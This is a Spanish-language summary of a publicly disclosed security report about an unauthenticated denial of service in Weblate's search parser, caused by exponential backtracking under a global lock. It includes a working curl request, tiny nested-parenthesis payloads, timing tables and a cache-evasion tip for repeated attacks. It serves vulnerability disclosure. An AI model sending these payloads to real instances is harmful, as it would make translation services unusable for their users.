Reports
ALTA[OTROS]#3898281

Weblate: una búsqueda sin autenticar de 33 bytes consumía 52 s de CPU y frenaba a todos los usuarios

La gramática de búsqueda de Weblate sufría backtracking exponencial. Una consulta ?q= diminuta y sin autenticar consumía casi un minuto de CPU bajo un lock global, dejando inservible toda la instancia.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Weblate construye la gramática de su lenguaje de búsqueda con pyparsing.infix_notation sobre una regla de términos que es ambigua en cada posición, y nunca activa la memoización packrat de pyparsing. El resultado es que analizar una consulta con paréntesis anidados provoca backtracking exponencial: el coste crece aproximadamente ×4 por cada nivel de anidamiento. En la práctica, una cadena de apenas 33 bytes llega a consumir 52 segundos de CPU.

El problema se agrava porque ese análisis ocurre dentro de parse_string() mientras se mantiene tomado el lock global de módulo PARSER_LOCK. Como el lock es común a todo el proceso, una sola petición maliciosa no solo se ralentiza a sí misma: bloquea el análisis de cualquier otra búsqueda, navegación, traducción o página zen servida por el mismo proceso de worker.

Las vistas browse, translate y zen analizan el parámetro ?q= durante la validación del formulario sin decorador de autenticación y sin límite de peticiones. La comprobación check_rate_limit("search", …) solo existe en la vista separada de búsqueda, no en estas. En cualquier proyecto legible de forma anónima —la configuración habitual de una instancia pública de Weblate— un atacante sin autenticar puede provocar la denegación de servicio con simples peticiones GET cortas.

Afecta preautenticación y con la configuración por defecto.

Ubicación del código señalada por el investigador:

weblate/utils/search.py:174-227   (build_parser)
weblate/utils/search.py:1237      (PARSER_LOCK)
weblate/trans/views/edit.py:1823  (browse)
weblate/trans/views/edit.py:1264  (translate)
weblate/trans/views/edit.py:1646  (zen)

Pasos de reproducción

Contra una instancia en producción, sin autenticación, basta una petición GET a una vista que analice ?q=:

curl -sG 'https://weblate.example/browse/<project>/<component>/<lang>/' \
     --data-urlencode 'q=(a (a (a (a (a (a (a (a a))))))))'

Para medirlo de forma aislada, el investigador preparó un poc.py que no reescribe la gramática: extrae el texto fuente exacto de build_parser, RegexExpr y RangeExpr de weblate/utils/search.py, y de RawQuotedString de weblate/checks/parser.py, mediante ast.get_source_segment, y los ejecuta contra un espacio de nombres que solo contiene símbolos de pyparsing. Es decir, mide la gramática real del objetivo. La acción de análisis del término se sustituye por un contador, así que no hace falta ni Django ni base de datos; además, como esa acción solo se ejecuta cuando un término encaja, no puede explicar el coste: la explosión aparece igual con entradas que ni siquiera son consultas válidas.

git clone https://github.com/WeblateOrg/weblate
cd weblate && git checkout e3952598329d1e4f5e765260948e0c8384ddabe9
python3 -m venv venv && venv/bin/pip install 'pyparsing==3.3.2'
venv/bin/python poc.py

Impacto

Los tiempos medidos muestran el crecimiento exponencial según el nivel de anidamiento:

--- nested_parens ---
  n=1   len=3         0.0029s         -  parsed
  n=2   len=5         0.0072s      2.5x  parsed
  n=4   len=9         0.1307s     18.0x  parsed
  n=6   len=13        1.9561s     15.0x  parsed
  n=8   len=17       28.8399s     14.7x  parsed

--- unbalanced_open ---
  n=8   len=9        29.2494s     15.3x  ParseException

--- nested_paren_terms ---
  n=8   len=33       52.4289s     15.9x  parsed

--- not_chain ---
  n=16  len=65       22.2754s     18.6x  parsed

La razón de crecimiento es de ≈16× por cada dos niveles de anidamiento, es decir ≈4× por nivel: O(4ⁿ). Cargas mínimas que cruzan cada umbral:

  nested_parens        >    1s at n=6   len=13      1.832s  (parsed)          payload='((((((a))))))'
  nested_parens        >   10s at n=8   len=17     30.498s  (parsed)          payload='((((((((a))))))))'
  unbalanced_open      >    1s at n=6   len=7       1.750s  (ParseException)  payload='((((((a'
  unbalanced_open      >   10s at n=8   len=9      28.726s  (ParseException)  payload='((((((((a'
  nested_paren_terms   >    1s at n=6   len=25      3.154s  (parsed)          payload='(a (a (a (a (a (a a))))))'
  nested_paren_terms   >   10s at n=7   len=29     12.855s  (parsed)          payload='(a (a (a (a (a (a (a a)))))))'
  not_chain            >    1s at n=12  len=49      1.473s  (parsed)          payload='NOT NOT ... a'
  not_chain            >   10s at n=16  len=65     21.625s  (parsed)          payload='NOT NOT ... a'

Un detalle revelador: nueve bytes (((((((((a), una entrada que ni siquiera es una consulta válida, costaron 28,7 s.

El efecto más grave es la amplificación por el lock global. Mientras una petición del atacante se analiza, cualquier consulta legítima queda esperando el PARSER_LOCK:

  baseline victim parse (uncontended): 0.751 ms
  attacker payload: '(a (a (a (a (a (a (a (a a))))))))' (33 bytes)
  attacker parse: 53.057 s
  victim0 parse:   52788.28 ms (70,295x baseline)
  victim1 parse:   52777.23 ms (70,281x baseline)
  victim2 parse:   52762.12 ms (70,261x baseline)
  victim3 parse:   52751.40 ms (70,246x baseline)

Cuatro consultas benignas y ajenas al ataque (source:hello AND target:world) pasaron de menos de un milisegundo a 52,8 segundos: una ralentización de unas 70.000×, solo por esperar el lock mientras se analizaba una única petición del atacante.

La explotación realista es directa: el atacante lanza GET sin autenticar contra /browse/<cualquier-proyecto-público>/…/?q=(a (a (a (a (a (a (a (a b)))))))), variando la última letra en cada petición para esquivar el lru_cache. Cada petición retiene un hilo del worker durante ~52 s y bloquea todo el análisis de consultas de ese proceso. Con unas pocas conexiones concurrentes basta para dejar inservible la interfaz de traducción para todos los usuarios de la instancia. No queda nada que limpiar y nada se registra como anómalo: las peticiones están bien formadas y, en la familia de paréntesis balanceados, son incluso consultas válidas que acaban devolviendo resultados normales.

El programa clasificó la debilidad como Uncontrolled Resource Consumption (CWE-400) con severidad alta. El reporte se envió el 29 de julio de 2026 y se divulgó públicamente el 4 de septiembre de 2026.